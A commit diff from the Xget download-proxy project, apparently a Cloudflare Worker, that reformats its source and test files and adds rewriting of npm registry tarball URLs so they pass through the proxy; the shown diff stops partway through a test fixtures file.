Add npm registry URL rewriting and improve formatting

Introduces logic to rewrite npm registry tarball URLs in JSON responses to route through the proxy endpoint, ensuring package names are preserved. Also improves code formatting and consistency across source and test files, and adds related test cases for npm URL rewriting.
This commit is contained in:
xixu-me committed 2025-07-25 09:36:03 +08:00
1 parent 31e25a1c6f
commit b147ea7052
14 files changed
+867 -753

No files matched your search

+11 -11
View File
@@ -1,4 +1,4 @@
import { PLATFORMS } from "./platforms";
import { PLATFORMS } from './platforms';
/**
* @typedef {Object} SecurityConfig
@@ -19,14 +19,14 @@ import { PLATFORMS } from "./platforms";
/** @type {ApplicationConfig} */
export const CONFIG = {
TIMEOUT_SECONDS: 30,
MAX_RETRIES: 3,
RETRY_DELAY_MS: 1000,
CACHE_DURATION: 1800, // 30 minutes
SECURITY: {
ALLOWED_METHODS: ["GET", "HEAD"], // POST is allowed dynamically for Git operations
ALLOWED_ORIGINS: ["*"],
MAX_PATH_LENGTH: 2048,
},
PLATFORMS,
TIMEOUT_SECONDS: 30,
MAX_RETRIES: 3,
RETRY_DELAY_MS: 1000,
CACHE_DURATION: 1800, // 30 minutes
SECURITY: {
ALLOWED_METHODS: ['GET', 'HEAD'], // POST is allowed dynamically for Git operations
ALLOWED_ORIGINS: ['*'],
MAX_PATH_LENGTH: 2048
},
PLATFORMS
};
+45 -45
View File
@@ -3,49 +3,49 @@
* @type {Object.<string, {base: string, transform: function(string): string}>}
*/
export const PLATFORMS = {
/** @type {{base: string, transform: function(string): string}} GitHub configuration */
gh: {
base: "https://github.com",
transform: (path) => path.replace(/^\/gh\//, "/"),
},
/** @type {{base: string, transform: function(string): string}} GitLab configuration */
gl: {
base: "https://gitlab.com",
transform: (path) => path.replace(/^\/gl\//, "/"),
},
/** @type {{base: string, transform: function(string): string}} Hugging Face configuration */
hf: {
base: "https://huggingface.co",
transform: (path) => path.replace(/^\/hf\//, "/"),
},
/** @type {{base: string, transform: function(string): string}} npm registry configuration */
npm: {
base: "https://registry.npmjs.org",
transform: (path) => path.replace(/^\/npm\//, "/"),
},
/** @type {{base: string, transform: function(string): string}} PyPI registry configuration */
pypi: {
base: "https://pypi.org",
transform: (path) => path.replace(/^\/pypi\//, "/"),
},
/** @type {{base: string, transform: function(string): string}} PyPI files configuration */
"pypi-files": {
base: "https://files.pythonhosted.org",
transform: (path) => path.replace(/^\/pypi\/files\//, "/"),
},
/** @type {{base: string, transform: function(string): string}} conda default channels configuration */
conda: {
base: "https://repo.anaconda.com",
transform: (path) => path.replace(/^\/conda\//, "/"),
},
/** @type {{base: string, transform: function(string): string}} conda community channels configuration */
"conda-community": {
base: "https://conda.anaconda.org",
transform: (path) => path.replace(/^\/conda\/community\//, "/"),
},
// /** @type {{base: string, transform: function(string): string}} All platforms */
// link: {
// base: "https://",
// transform: (path) => path.replace(/^\/link\//, "/"),
// },
/** @type {{base: string, transform: function(string): string}} GitHub configuration */
gh: {
base: 'https://github.com',
transform: path => path.replace(/^\/gh\//, '/')
},
/** @type {{base: string, transform: function(string): string}} GitLab configuration */
gl: {
base: 'https://gitlab.com',
transform: path => path.replace(/^\/gl\//, '/')
},
/** @type {{base: string, transform: function(string): string}} Hugging Face configuration */
hf: {
base: 'https://huggingface.co',
transform: path => path.replace(/^\/hf\//, '/')
},
/** @type {{base: string, transform: function(string): string}} npm registry configuration */
npm: {
base: 'https://registry.npmjs.org',
transform: path => path.replace(/^\/npm\//, '/')
},
/** @type {{base: string, transform: function(string): string}} PyPI registry configuration */
pypi: {
base: 'https://pypi.org',
transform: path => path.replace(/^\/pypi\//, '/')
},
/** @type {{base: string, transform: function(string): string}} PyPI files configuration */
'pypi-files': {
base: 'https://files.pythonhosted.org',
transform: path => path.replace(/^\/pypi\/files\//, '/')
},
/** @type {{base: string, transform: function(string): string}} conda default channels configuration */
conda: {
base: 'https://repo.anaconda.com',
transform: path => path.replace(/^\/conda\//, '/')
},
/** @type {{base: string, transform: function(string): string}} conda community channels configuration */
'conda-community': {
base: 'https://conda.anaconda.org',
transform: path => path.replace(/^\/conda\/community\//, '/')
}
// /** @type {{base: string, transform: function(string): string}} All platforms */
// link: {
// base: "https://",
// transform: (path) => path.replace(/^\/link\//, "/"),
// },
};
+311 -343
View File
@@ -1,35 +1,35 @@
import { CONFIG } from "./config/index.js";
import { CONFIG } from './config/index.js';
/**
* Monitors performance metrics during request processing
*/
class PerformanceMonitor {
/**
* Initializes a new performance monitor
*/
constructor() {
this.startTime = Date.now();
this.marks = new Map();
}
/**
* Initializes a new performance monitor
*/
constructor() {
this.startTime = Date.now();
this.marks = new Map();
}
/**
* Marks a timing point with the given name
* @param {string} name - The name of the timing mark
*/
mark(name) {
if (this.marks.has(name)) {
console.warn(`Mark with name ${name} already exists.`);
}
this.marks.set(name, Date.now() - this.startTime);
}
/**
* Marks a timing point with the given name
* @param {string} name - The name of the timing mark
*/
mark(name) {
if (this.marks.has(name)) {
console.warn(`Mark with name ${name} already exists.`);
}
this.marks.set(name, Date.now() - this.startTime);
}
/**
* Returns all collected metrics
* @returns {Object.<string, number>} Object containing name-timestamp pairs
*/
getMetrics() {
return Object.fromEntries(this.marks.entries());
}
/**
* Returns all collected metrics
* @returns {Object.<string, number>} Object containing name-timestamp pairs
*/
getMetrics() {
return Object.fromEntries(this.marks.entries());
}
}
/**
@@ -39,40 +39,34 @@ class PerformanceMonitor {
* @returns {boolean} True if this is a Git operation
*/
function isGitRequest(request, url) {
// Check for Git-specific endpoints
if (url.pathname.endsWith("/info/refs")) {
return true;
}
// Check for Git-specific endpoints
if (url.pathname.endsWith('/info/refs')) {
return true;
}
if (
url.pathname.endsWith("/git-upload-pack") ||
url.pathname.endsWith("/git-receive-pack")
) {
return true;
}
if (url.pathname.endsWith('/git-upload-pack') || url.pathname.endsWith('/git-receive-pack')) {
return true;
}
// Check for Git user agents (more comprehensive check)
const userAgent = request.headers.get("User-Agent") || "";
if (userAgent.includes("git/") || userAgent.startsWith("git/")) {
return true;
}
// Check for Git user agents (more comprehensive check)
const userAgent = request.headers.get('User-Agent') || '';
if (userAgent.includes('git/') || userAgent.startsWith('git/')) {
return true;
}
// Check for Git-specific query parameters
if (url.searchParams.has("service")) {
const service = url.searchParams.get("service");
return service === "git-upload-pack" || service === "git-receive-pack";
}
// Check for Git-specific query parameters
if (url.searchParams.has('service')) {
const service = url.searchParams.get('service');
return service === 'git-upload-pack' || service === 'git-receive-pack';
}
// Check for Git-specific content types
const contentType = request.headers.get("Content-Type") || "";
if (
contentType.includes("git-upload-pack") ||
contentType.includes("git-receive-pack")
) {
return true;
}
// Check for Git-specific content types
const contentType = request.headers.get('Content-Type') || '';
if (contentType.includes('git-upload-pack') || contentType.includes('git-receive-pack')) {
return true;
}
return false;
return false;
}
/**
@@ -82,20 +76,20 @@ function isGitRequest(request, url) {
* @returns {{valid: boolean, error?: string, status?: number}} Validation result
*/
function validateRequest(request, url) {
// Allow POST method for Git operations
const allowedMethods = isGitRequest(request, url)
? ["GET", "HEAD", "POST"]
: CONFIG.SECURITY.ALLOWED_METHODS;
// Allow POST method for Git operations
const allowedMethods = isGitRequest(request, url)
? ['GET', 'HEAD', 'POST']
: CONFIG.SECURITY.ALLOWED_METHODS;
if (!allowedMethods.includes(request.method)) {
return { valid: false, error: "Method not allowed", status: 405 };
}
if (!allowedMethods.includes(request.method)) {
return { valid: false, error: 'Method not allowed', status: 405 };
}
if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) {
return { valid: false, error: "Path too long", status: 414 };
}
if (url.pathname.length > CONFIG.SECURITY.MAX_PATH_LENGTH) {
return { valid: false, error: 'Path too long', status: 414 };
}
return { valid: true };
return { valid: true };
}
/**
@@ -104,19 +98,13 @@ function validateRequest(request, url) {
* @returns {Headers} Modified headers object
*/
function addSecurityHeaders(headers) {
headers.set(
"Strict-Transport-Security",
"max-age=31536000; includeSubDomains; preload"
);
headers.set("X-Frame-Options", "DENY");
headers.set("X-XSS-Protection", "1; mode=block");
headers.set("Referrer-Policy", "strict-origin-when-cross-origin");
headers.set(
"Content-Security-Policy",
"default-src 'none'; img-src 'self'; script-src 'none'"
);
headers.set("Permissions-Policy", "interest-cohort=()");
return headers;
headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
headers.set('X-Frame-Options', 'DENY');
headers.set('X-XSS-Protection', '1; mode=block');
headers.set('Referrer-Policy', 'strict-origin-when-cross-origin');
headers.set('Content-Security-Policy', "default-src 'none'; img-src 'self'; script-src 'none'");
headers.set('Permissions-Policy', 'interest-cohort=()');
return headers;
}
/**
@@ -127,289 +115,269 @@ function addSecurityHeaders(headers) {
* @returns {Promise<Response>} The response object
*/
async function handleRequest(request, env, ctx) {
try {
const url = new URL(request.url);
try {
const url = new URL(request.url);
const monitor = new PerformanceMonitor();
const monitor = new PerformanceMonitor();
// Redirect root path or invalid platforms to GitHub repository
if (url.pathname === "/" || url.pathname === "") {
const HOME_PAGE_URL = "https://github.com/xixu-me/Xget";
return Response.redirect(HOME_PAGE_URL, 302);
}
// Redirect root path or invalid platforms to GitHub repository
if (url.pathname === '/' || url.pathname === '') {
const HOME_PAGE_URL = 'https://github.com/xixu-me/Xget';
return Response.redirect(HOME_PAGE_URL, 302);
}
const validation = validateRequest(request, url);
if (!validation.valid) {
return new Response(validation.error, {
status: validation.status,
headers: addSecurityHeaders(new Headers()),
});
}
const validation = validateRequest(request, url);
if (!validation.valid) {
return new Response(validation.error, {
status: validation.status,
headers: addSecurityHeaders(new Headers())
});
}
// Parse platform and path
let platform;
// Parse platform and path
let platform;
// Platform detection using transform patterns
// Sort platforms by path length (descending) to prioritize more specific paths
// e.g., conda/community should match before conda, pypi/files before pypi
const sortedPlatforms = Object.keys(CONFIG.PLATFORMS).sort((a, b) => {
const pathA = `/${a.replace("-", "/")}/`;
const pathB = `/${b.replace("-", "/")}/`;
return pathB.length - pathA.length;
});
// Platform detection using transform patterns
// Sort platforms by path length (descending) to prioritize more specific paths
// e.g., conda/community should match before conda, pypi/files before pypi
const sortedPlatforms = Object.keys(CONFIG.PLATFORMS).sort((a, b) => {
const pathA = `/${a.replace('-', '/')}/`;
const pathB = `/${b.replace('-', '/')}/`;
return pathB.length - pathA.length;
});
platform =
sortedPlatforms.find((key) => {
const expectedPrefix = `/${key.replace("-", "/")}/`;
return url.pathname.startsWith(expectedPrefix);
}) || url.pathname.split("/")[1];
platform =
sortedPlatforms.find(key => {
const expectedPrefix = `/${key.replace('-', '/')}/`;
return url.pathname.startsWith(expectedPrefix);
}) || url.pathname.split('/')[1];
if (!platform || !CONFIG.PLATFORMS[platform]) {
const HOME_PAGE_URL = "https://github.com/xixu-me/Xget";
return Response.redirect(HOME_PAGE_URL, 302);
}
if (!platform || !CONFIG.PLATFORMS[platform]) {
const HOME_PAGE_URL = 'https://github.com/xixu-me/Xget';
return Response.redirect(HOME_PAGE_URL, 302);
}
// Transform URL based on platform
const targetPath = CONFIG.PLATFORMS[platform].transform(url.pathname);
const targetUrl = `${CONFIG.PLATFORMS[platform].base}${targetPath}${url.search}`;
// Transform URL based on platform
const targetPath = CONFIG.PLATFORMS[platform].transform(url.pathname);
const targetUrl = `${CONFIG.PLATFORMS[platform].base}${targetPath}${url.search}`;
// Check if this is a Git operation
const isGit = isGitRequest(request, url);
// Check if this is a Git operation
const isGit = isGitRequest(request, url);
// Check cache first (skip cache for Git operations)
const cache = caches.default;
const cacheKey = new Request(targetUrl, request);
let response;
// Check cache first (skip cache for Git operations)
const cache = caches.default;
const cacheKey = new Request(targetUrl, request);
let response;
if (!isGit) {
response = await cache.match(cacheKey);
if (response) {
monitor.mark("cache_hit");
return response;
}
}
if (!isGit) {
response = await cache.match(cacheKey);
if (response) {
monitor.mark('cache_hit');
return response;
}
}
const fetchOptions = {
method: request.method,
headers: new Headers(),
};
const fetchOptions = {
method: request.method,
headers: new Headers()
};
// Add body for POST requests (Git operations)
if (request.method === "POST" && isGit) {
// For Git operations, we need to preserve the original body stream
fetchOptions.body = request.body;
}
// Add body for POST requests (Git operations)
if (request.method === 'POST' && isGit) {
// For Git operations, we need to preserve the original body stream
fetchOptions.body = request.body;
}
// Set appropriate headers for Git vs regular requests
if (isGit) {
// For Git operations, copy all headers from the original request
// This ensures Git protocol compliance
for (const [key, value] of request.headers.entries()) {
// Skip headers that might cause issues with proxying
if (
!["host", "connection", "upgrade", "proxy-connection"].includes(
key.toLowerCase()
)
) {
fetchOptions.headers.set(key, value);
}
}
// Set appropriate headers for Git vs regular requests
if (isGit) {
// For Git operations, copy all headers from the original request
// This ensures Git protocol compliance
for (const [key, value] of request.headers.entries()) {
// Skip headers that might cause issues with proxying
if (!['host', 'connection', 'upgrade', 'proxy-connection'].includes(key.toLowerCase())) {
fetchOptions.headers.set(key, value);
}
}
// Set Git-specific headers if not present
if (!fetchOptions.headers.has("User-Agent")) {
fetchOptions.headers.set("User-Agent", "git/2.34.1");
}
// Set Git-specific headers if not present
if (!fetchOptions.headers.has('User-Agent')) {
fetchOptions.headers.set('User-Agent', 'git/2.34.1');
}
// For Git upload-pack requests, ensure proper content type
if (
request.method === "POST" &&
url.pathname.endsWith("/git-upload-pack")
) {
if (!fetchOptions.headers.has("Content-Type")) {
fetchOptions.headers.set(
"Content-Type",
"application/x-git-upload-pack-request"
);
}
}
// For Git upload-pack requests, ensure proper content type
if (request.method === 'POST' && url.pathname.endsWith('/git-upload-pack')) {
if (!fetchOptions.headers.has('Content-Type')) {
fetchOptions.headers.set('Content-Type', 'application/x-git-upload-pack-request');
}
}
// For Git receive-pack requests, ensure proper content type
if (
request.method === "POST" &&
url.pathname.endsWith("/git-receive-pack")
) {
if (!fetchOptions.headers.has("Content-Type")) {
fetchOptions.headers.set(
"Content-Type",
"application/x-git-receive-pack-request"
);
}
}
} else {
// Regular file download headers
Object.assign(fetchOptions, {
cf: {
http3: true,
cacheTtl: CONFIG.CACHE_DURATION,
cacheEverything: true,
minify: {
javascript: true,
css: true,
html: true,
},
preconnect: true,
},
});
// For Git receive-pack requests, ensure proper content type
if (request.method === 'POST' && url.pathname.endsWith('/git-receive-pack')) {
if (!fetchOptions.headers.has('Content-Type')) {
fetchOptions.headers.set('Content-Type', 'application/x-git-receive-pack-request');
}
}
} else {
// Regular file download headers
Object.assign(fetchOptions, {
cf: {
http3: true,
cacheTtl: CONFIG.CACHE_DURATION,
cacheEverything: true,
minify: {
javascript: true,
css: true,
html: true
},
preconnect: true
}
});
fetchOptions.headers.set("Accept-Encoding", "gzip, deflate, br");
fetchOptions.headers.set("Connection", "keep-alive");
fetchOptions.headers.set("User-Agent", "Wget/1.21.3");
fetchOptions.headers.set("Origin", request.headers.get("Origin") || "*");
fetchOptions.headers.set('Accept-Encoding', 'gzip, deflate, br');
fetchOptions.headers.set('Connection', 'keep-alive');
fetchOptions.headers.set('User-Agent', 'Wget/1.21.3');
fetchOptions.headers.set('Origin', request.headers.get('Origin') || '*');
// Handle range requests
const rangeHeader = request.headers.get("Range");
if (rangeHeader) {
fetchOptions.headers.set("Range", rangeHeader);
}
}
// Handle range requests
const rangeHeader = request.headers.get('Range');
if (rangeHeader) {
fetchOptions.headers.set('Range', rangeHeader);
}
}
// Implement retry mechanism
let attempts = 0;
while (attempts < CONFIG.MAX_RETRIES) {
try {
monitor.mark("attempt_" + attempts);
// Implement retry mechanism
let attempts = 0;
while (attempts < CONFIG.MAX_RETRIES) {
try {
monitor.mark('attempt_' + attempts);
// Fetch with timeout
const controller = new AbortController();
const timeoutId = setTimeout(
() => controller.abort(),
CONFIG.TIMEOUT_SECONDS * 1000
);
// Fetch with timeout
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), CONFIG.TIMEOUT_SECONDS * 1000);
// For Git operations, don't use Cloudflare-specific options
const finalFetchOptions = isGit
? { ...fetchOptions, signal: controller.signal }
: { ...fetchOptions, signal: controller.signal };
// For Git operations, don't use Cloudflare-specific options
const finalFetchOptions = isGit
? { ...fetchOptions, signal: controller.signal }
: { ...fetchOptions, signal: controller.signal };
response = await fetch(targetUrl, finalFetchOptions);
response = await fetch(targetUrl, finalFetchOptions);
clearTimeout(timeoutId);
clearTimeout(timeoutId);
if (response.ok || response.status === 206) {
monitor.mark("success");
break;
}
if (response.ok || response.status === 206) {
monitor.mark('success');
break;
}
// Don't retry on client errors (4xx) - these won't improve with retries
if (response.status >= 400 && response.status < 500) {
monitor.mark("client_error");
break;
}
// Don't retry on client errors (4xx) - these won't improve with retries
if (response.status >= 400 && response.status < 500) {
monitor.mark('client_error');
break;
}
attempts++;
if (attempts < CONFIG.MAX_RETRIES) {
await new Promise((resolve) =>
setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts)
);
}
} catch (error) {
attempts++;
if (error.name === "AbortError") {
return new Response("Request timeout", {
status: 408,
headers: addSecurityHeaders(new Headers()),
});
}
if (attempts >= CONFIG.MAX_RETRIES) {
return new Response(
`Failed after ${CONFIG.MAX_RETRIES} attempts: ${error.message}`,
{
status: 500,
headers: addSecurityHeaders(new Headers()),
}
);
}
// Wait before retrying
await new Promise((resolve) =>
setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts)
);
}
}
attempts++;
if (attempts < CONFIG.MAX_RETRIES) {
await new Promise(resolve => setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts));
}
} catch (error) {
attempts++;
if (error.name === 'AbortError') {
return new Response('Request timeout', {
status: 408,
headers: addSecurityHeaders(new Headers())
});
}
if (attempts >= CONFIG.MAX_RETRIES) {
return new Response(`Failed after ${CONFIG.MAX_RETRIES} attempts: ${error.message}`, {
status: 500,
headers: addSecurityHeaders(new Headers())
});
}
// Wait before retrying
await new Promise(resolve => setTimeout(resolve, CONFIG.RETRY_DELAY_MS * attempts));
}
}
// Check if we have a valid response after all attempts
if (!response) {
return new Response("No response received after all retry attempts", {
status: 500,
headers: addSecurityHeaders(new Headers()),
});
}
// Check if we have a valid response after all attempts
if (!response) {
return new Response('No response received after all retry attempts', {
status: 500,
headers: addSecurityHeaders(new Headers())
});
}
// If response is still not ok after all retries, return the error
if (!response.ok && response.status !== 206) {
const errorText = await response.text().catch(() => "Unknown error");
return new Response(
`Upstream server error (${response.status}): ${errorText}`,
{
status: response.status,
headers: addSecurityHeaders(new Headers()),
}
);
}
// If response is still not ok after all retries, return the error
if (!response.ok && response.status !== 206) {
const errorText = await response.text().catch(() => 'Unknown error');
return new Response(`Upstream server error (${response.status}): ${errorText}`, {
status: response.status,
headers: addSecurityHeaders(new Headers())
});
}
// Handle PyPI simple index URL rewriting
let responseBody = response.body;
if (
platform === "pypi" &&
response.headers.get("content-type")?.includes("text/html")
) {
const originalText = await response.text();
// Rewrite URLs in the response body to go through the Cloudflare Worker
// files.pythonhosted.org URLs should be rewritten to go through our pypi/files endpoint
const rewrittenText = originalText.replace(
/https:\/\/files\.pythonhosted\.org/g,
`${url.origin}/pypi/files`
);
responseBody = rewrittenText;
}
// Handle URL rewriting for different platforms
let responseBody = response.body;
// Prepare response headers
const headers = new Headers(response.headers);
// Handle PyPI simple index URL rewriting
if (platform === 'pypi' && response.headers.get('content-type')?.includes('text/html')) {
const originalText = await response.text();
// Rewrite URLs in the response body to go through the Cloudflare Worker
// files.pythonhosted.org URLs should be rewritten to go through our pypi/files endpoint
const rewrittenText = originalText.replace(
/https:\/\/files\.pythonhosted\.org/g,
`${url.origin}/pypi/files`
);
responseBody = rewrittenText;
}
if (isGit) {
// For Git operations, preserve all headers from the upstream response
// Git protocol is very sensitive to header changes
// Don't add any additional headers that might interfere with Git protocol
// The response headers from GitHub/GitLab should be passed through as-is
} else {
// Regular file download headers
headers.set("Cache-Control", `public, max-age=${CONFIG.CACHE_DURATION}`);
headers.set("X-Content-Type-Options", "nosniff");
headers.set("Accept-Ranges", "bytes");
addSecurityHeaders(headers);
}
// Handle npm registry URL rewriting
if (platform === 'npm' && response.headers.get('content-type')?.includes('application/json')) {
const originalText = await response.text();
// Rewrite tarball URLs in npm registry responses to go through our npm endpoint
// https://registry.npmjs.org/package/-/package-version.tgz -> https://xget.xi-xu.me/npm/package/-/package-version.tgz
const rewrittenText = originalText.replace(
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
`${url.origin}/npm/$1`
);
responseBody = rewrittenText;
}
// Create final response
const finalResponse = new Response(responseBody, {
status: response.status,
headers: headers,
});
// Prepare response headers
const headers = new Headers(response.headers);
// Cache successful responses (skip caching for Git operations)
if (!isGit && (response.ok || response.status === 206)) {
ctx.waitUntil(cache.put(cacheKey, finalResponse.clone()));
}
if (isGit) {
// For Git operations, preserve all headers from the upstream response
// Git protocol is very sensitive to header changes
// Don't add any additional headers that might interfere with Git protocol
// The response headers from GitHub/GitLab should be passed through as-is
} else {
// Regular file download headers
headers.set('Cache-Control', `public, max-age=${CONFIG.CACHE_DURATION}`);
headers.set('X-Content-Type-Options', 'nosniff');
headers.set('Accept-Ranges', 'bytes');
addSecurityHeaders(headers);
}
monitor.mark("complete");
return isGit
? finalResponse
: addPerformanceHeaders(finalResponse, monitor);
} catch (error) {
console.error("Error handling request:", error);
return new Response(`Internal Server Error: ${error.message}`, {
status: 500,
headers: addSecurityHeaders(new Headers()),
});
}
// Create final response
const finalResponse = new Response(responseBody, {
status: response.status,
headers: headers
});
// Cache successful responses (skip caching for Git operations)
if (!isGit && (response.ok || response.status === 206)) {
ctx.waitUntil(cache.put(cacheKey, finalResponse.clone()));
}
monitor.mark('complete');
return isGit ? finalResponse : addPerformanceHeaders(finalResponse, monitor);
} catch (error) {
console.error('Error handling request:', error);
return new Response(`Internal Server Error: ${error.message}`, {
status: 500,
headers: addSecurityHeaders(new Headers())
});
}
}
/**
@@ -419,24 +387,24 @@ async function handleRequest(request, env, ctx) {
* @returns {Response} New response with performance headers
*/
function addPerformanceHeaders(response, monitor) {
const headers = new Headers(response.headers);
headers.set("X-Performance-Metrics", JSON.stringify(monitor.getMetrics()));
addSecurityHeaders(headers);
return new Response(response.body, {
status: response.status,
headers: headers,
});
const headers = new Headers(response.headers);
headers.set('X-Performance-Metrics', JSON.stringify(monitor.getMetrics()));
addSecurityHeaders(headers);
return new Response(response.body, {
status: response.status,
headers: headers
});
}
export default {
/**
* Main entry point for the Cloudflare Worker
* @param {Request} request - The incoming request
* @param {Object} env - Environment variables
* @param {ExecutionContext} ctx - Cloudflare Workers execution context
* @returns {Promise<Response>} The response object
*/
fetch(request, env, ctx) {
return handleRequest(request, env, ctx);
},
/**
* Main entry point for the Cloudflare Worker
* @param {Request} request - The incoming request
* @param {Object} env - Environment variables
* @param {ExecutionContext} ctx - Cloudflare Workers execution context
* @returns {Promise<Response>} The response object
*/
fetch(request, env, ctx) {
return handleRequest(request, env, ctx);
}
};
+24 -18
View File
@@ -73,7 +73,7 @@ describe('Performance Benchmarks', () => {
describe('Security Header Processing', () => {
bench('Security headers addition', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
// Verify headers are present (this adds to processing time)
response.headers.get('Strict-Transport-Security');
response.headers.get('X-Frame-Options');
@@ -101,22 +101,26 @@ describe('Performance Benchmarks', () => {
describe('Concurrent Request Handling', () => {
bench('10 concurrent requests', async () => {
const requests = Array(10).fill().map(() =>
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
})
);
const requests = Array(10)
.fill()
.map(() =>
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
})
);
await Promise.all(requests);
});
bench('50 concurrent requests', async () => {
const requests = Array(50).fill().map(() =>
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
})
);
const requests = Array(50)
.fill()
.map(() =>
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
})
);
await Promise.all(requests);
});
});
@@ -156,7 +160,9 @@ describe('Performance Benchmarks', () => {
});
bench('Complex URL parsing', async () => {
await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123');
await SELF.fetch(
'https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123'
);
});
});
@@ -166,17 +172,17 @@ describe('Performance Benchmarks', () => {
method: 'GET',
headers: {
'User-Agent': 'Test/1.0',
'Accept': '*/*'
Accept: '*/*'
}
});
// Process the request
await SELF.fetch(request);
});
bench('Response object processing', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
// Access various response properties
response.status;
response.statusText;
@@ -210,4 +216,4 @@ describe('Performance Benchmarks', () => {
await SELF.fetch('https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda');
});
});
});
});
+54 -51
View File
@@ -20,7 +20,7 @@ export const MOCK_RESPONSES = {
}
})
},
readme: {
status: 200,
headers: {
@@ -28,7 +28,7 @@ export const MOCK_RESPONSES = {
},
body: '# Visual Studio Code\n\nCode editing. Redefined.'
},
release: {
status: 200,
headers: {
@@ -38,7 +38,7 @@ export const MOCK_RESPONSES = {
},
body: 'binary-data-placeholder'
},
notFound: {
status: 404,
headers: {
@@ -46,7 +46,7 @@ export const MOCK_RESPONSES = {
},
body: 'Not Found'
},
gitInfoRefs: {
status: 200,
headers: {
@@ -69,7 +69,7 @@ export const MOCK_RESPONSES = {
description: 'GitLab Community Edition'
})
},
archive: {
status: 200,
headers: {
@@ -97,7 +97,7 @@ export const MOCK_RESPONSES = {
n_head: 16
})
},
modelFile: {
status: 200,
headers: {
@@ -106,7 +106,7 @@ export const MOCK_RESPONSES = {
},
body: 'model-binary-data-placeholder'
},
datasetFile: {
status: 200,
headers: {
@@ -140,7 +140,7 @@ export const MOCK_RESPONSES = {
license: 'MIT'
})
},
packageTarball: {
status: 200,
headers: {
@@ -167,7 +167,7 @@ export const MOCK_RESPONSES = {
</body>
</html>`
},
packageFile: {
status: 200,
headers: {
@@ -176,7 +176,7 @@ export const MOCK_RESPONSES = {
},
body: 'gzip-data-placeholder'
},
wheelFile: {
status: 200,
headers: {
@@ -212,7 +212,7 @@ export const MOCK_RESPONSES = {
}
})
},
packageFile: {
status: 200,
headers: {
@@ -231,7 +231,7 @@ export const MOCK_RESPONSES = {
},
body: 'Bad Request'
},
unauthorized: {
status: 401,
headers: {
@@ -239,7 +239,7 @@ export const MOCK_RESPONSES = {
},
body: 'Unauthorized'
},
forbidden: {
status: 403,
headers: {
@@ -247,7 +247,7 @@ export const MOCK_RESPONSES = {
},
body: 'Forbidden'
},
notFound: {
status: 404,
headers: {
@@ -255,16 +255,16 @@ export const MOCK_RESPONSES = {
},
body: 'Not Found'
},
methodNotAllowed: {
status: 405,
headers: {
'Content-Type': 'text/plain',
'Allow': 'GET, HEAD'
Allow: 'GET, HEAD'
},
body: 'Method Not Allowed'
},
pathTooLong: {
status: 414,
headers: {
@@ -272,7 +272,7 @@ export const MOCK_RESPONSES = {
},
body: 'URI Too Long'
},
internalServerError: {
status: 500,
headers: {
@@ -280,7 +280,7 @@ export const MOCK_RESPONSES = {
},
body: 'Internal Server Error'
},
badGateway: {
status: 502,
headers: {
@@ -288,7 +288,7 @@ export const MOCK_RESPONSES = {
},
body: 'Bad Gateway'
},
serviceUnavailable: {
status: 503,
headers: {
@@ -296,7 +296,7 @@ export const MOCK_RESPONSES = {
},
body: 'Service Unavailable'
},
gatewayTimeout: {
status: 504,
headers: {
@@ -345,7 +345,7 @@ function getStatusText(status) {
503: 'Service Unavailable',
504: 'Gateway Timeout'
};
return statusTexts[status] || 'Unknown';
}
@@ -356,34 +356,37 @@ function getStatusText(status) {
* @returns {Promise<Response>} Mock response
*/
export function mockFetchWithFixtures(url, options = {}) {
return new Promise((resolve) => {
return new Promise(resolve => {
// Simulate network delay
setTimeout(() => {
const urlObj = new URL(url);
const path = urlObj.pathname;
// Route to appropriate mock response based on URL pattern
if (path.includes('/gh/') && path.includes('package.json')) {
resolve(createMockResponse(MOCK_RESPONSES.github.packageJson));
} else if (path.includes('/gh/') && path.includes('README.md')) {
resolve(createMockResponse(MOCK_RESPONSES.github.readme));
} else if (path.includes('/gl/') && path.includes('package.json')) {
resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson));
} else if (path.includes('/hf/') && path.includes('config.json')) {
resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig));
} else if (path.includes('/npm/') && !path.includes('.tgz')) {
resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata));
} else if (path.includes('/pypi/simple/')) {
resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex));
} else if (path.includes('/conda/') && path.includes('repodata.json')) {
resolve(createMockResponse(MOCK_RESPONSES.conda.repodata));
} else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) {
resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed));
} else if (path.length > 2048) {
resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong));
} else {
resolve(createMockResponse(MOCK_RESPONSES.errors.notFound));
}
}, Math.random() * 50 + 10); // 10-60ms delay
setTimeout(
() => {
const urlObj = new URL(url);
const path = urlObj.pathname;
// Route to appropriate mock response based on URL pattern
if (path.includes('/gh/') && path.includes('package.json')) {
resolve(createMockResponse(MOCK_RESPONSES.github.packageJson));
} else if (path.includes('/gh/') && path.includes('README.md')) {
resolve(createMockResponse(MOCK_RESPONSES.github.readme));
} else if (path.includes('/gl/') && path.includes('package.json')) {
resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson));
} else if (path.includes('/hf/') && path.includes('config.json')) {
resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig));
} else if (path.includes('/npm/') && !path.includes('.tgz')) {
resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata));
} else if (path.includes('/pypi/simple/')) {
resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex));
